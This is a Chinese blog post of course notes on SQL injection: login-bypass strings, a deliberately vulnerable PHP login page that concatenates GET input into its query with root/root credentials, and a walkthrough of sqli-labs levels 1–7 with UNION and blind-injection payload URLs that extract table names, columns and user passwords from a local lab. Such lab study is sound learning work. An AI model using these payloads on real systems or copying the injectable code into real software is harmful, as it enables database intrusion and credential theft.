IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> SQL注入 -> 正文阅读

[大数据]SQL注入

1.总结第一天第二天的课程内容

1、数据传递采用注释

username='admin'-- and password = 'admin'       --的后面有个空格有转码的话加一个空格

2、构造函数

编码网站站长工具 - 站长之家 (chinaz.com)

如果是编码问题可以进行编码之后在传参

username='admin' or '1'='1' and password = 'sscac' 

查询

整体思路:(web访问流程)

1、浏览器----本地页面代码(F12)

2、http----(页面的所有数据都要传的)截获数据、修改数据、观察数据、绕过页面判断的界面

3、web容器(iis、apache、Nginx)解析数据—解析文件、数据问题

4、web语言(php、javaScript、python、.net等等)执行代码

5、数据库

注入类漏洞---->数据变代码

1、如何判断漏洞

2、如何构造代码

思路:先判断是否被整型包裹(id=1 and 1=2),整体是对的会返回数据,错的不会返回数据,其次在看是不是单引号(id=1’)报错,进一步测试(id=1‘ and ‘1’='1)对的,(id=1‘ and ‘1’='2)没有数据,断定就是单引号包裹,取数据()

2.自己写一个登陆页面,并能实现对接数据库,判断用户名与密码是否正确

1.登录页面

<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>西安加油</title>
</head>

<h1>西安欢迎你!!!!</h1>

<form name="input" action="shujiku.php" method="get">
    用户名:<input type="text" name='user'>
    密码:<input type="password" name='passwd'>
	<input type="submit" value="登录">


在这里插入图片描述

2、连接数据库

<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>西安加油!!</title>
</head>


<?php
$uname=$_GET['user'];
$pwd=$_GET['passwd'];
if($uname==null or $pwd==null){ echo "用户名或密码不能为空,请重新输入!";}


else{
  $con = mysqli_connect('127.0.0.1','root','root','test');
  if (!$con){
    die("连接失败:".mysqli_connect_error());
  }
  echo "数据库连接成功";
  $sql="select username , password from users where username='$uname' and password = '$pwd'";
  $result=mysqli_query($con,$sql);
  $row=mysqli_fetch_assoc($result);
  if($row){
    echo"登录成功,欢迎".$uname."!";
  }
  else{
    echo"登录失败!<a href='test.php'>重新登录";
  }
}
?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

3.练习sql-map-master的1-7关。

1、第一关
在这里插入图片描述

思路:先判断是否被整型包裹(id=1 and 1=2),整体是对的会返回数据,错的不会返回数据,其次在看是不是单引号(id=1’)报错,进一步测试(id=1‘ and ‘1’='1)对的,(id=1‘ and ‘1’='2)没有数据,断定就是单引号包裹,取数据()

1、找库

show databases;

select DATABASE();//看当前库

select name from users where id=1union all select 1,2;//联合查询输出了就说明两列不知道的话就尝试

select username, password from users order by 1;//order by函数也可以写相对位置

http://192.168.131.129/sqli-labs-master/Less-1/?id=1'--+
http://192.168.131.129/sqli-labs-master/Less-1/?id=1'order by 3--+  查列
http://192.168.131.129//sqli-labs-master/Less-1/?id=1' union all select 1,2,3--+     联合查询
http://192.168.131.129//sqli-labs-master/Less-1/?id=-1' union all select 1,2,3--+     想看自己想看的数据因为没有负一   判断表结构
http://192.168.131.129//sqli-labs-master/Less-1/?id=-1' union all select 1,2,database()--+       替换1,2,3可以查出库名  

select table_name from information_schema.tables where table_schema=‘security’ limit 0,1;

http://192.168.131.129/sqli-labs-master/Less-1/?id=-1' union all select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),database()--+
爆出表,所有mysql都有一个库叫information_schema就是其他库在这里有记录
改动limit  1,1等来找你想要的表

select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1

http://192.168.131.129/sqli-labs-master/Less-1/?id=-1' union all select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),database()--+
列名,改动limit  1,1等来找你想要的表

select username,password from users

http://192.168.131.129/sqli-labs-master/Less-1/?id=-1' union all select 1,username,password from users limit 1,1--+
显示

在这里插入图片描述

2、第二关

在这里插入图片描述

http://192.168.131.129/sqli-labs-master/Less-2/?id=1 and 1=2    没报错但没有数据
http://192.168.131.129/sqli-labs-master/Less-2/?id=-1  union all select 1,2,3
后面套路同上

在这里插入图片描述

3、第三关

在这里插入图片描述

http://192.168.131.129/sqli-labs-master/Less-3/?id=1 and 1=2 并不知整型
http://192.168.131.129/sqli-labs-master/Less-3/?id=1' --+  报错猜测和括号关系,但不是括号,和单引号有关于是注释掉语法错了就不是单引号猜测单引号加括号
http://192.168.131.129/sqli-labs-master/Less-3/?id=1') --+ 
http://192.168.131.129/sqli-labs-master/Less-3/?id=1') and 1=2 --+ 
进一步确认,没有报错所以确定是')

在这里插入图片描述

4、第四关

")

5、第五关(不回写)

order by 3

select

datbase()

按照流程走

select ascii(SUBSTR(‘abc’,2,1));

写一个判断

A65 - 90 _95

a97 -122

http://192.168.131.129/sqli-labs-master/Less-3/?id=1' and length(database())=8--+   长是8
http://192.168.131.129/sqli-labs-master/Less-3/?id=1' and ascii(substr(database(),1,1))=115--+   

需要写脚本

li-labs-master/Less-3/?id=1’ and length(database())=8–+ 长是8

http://192.168.131.129/sqli-labs-master/Less-3/?id=1’ and ascii(substr(database(),1,1))=115–+

需要写脚本

6、第六关

‘’

7、第七关

在这里插入图片描述

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-01-12 00:04:28  更:2022-01-12 00:06:11 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 14:39:16-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码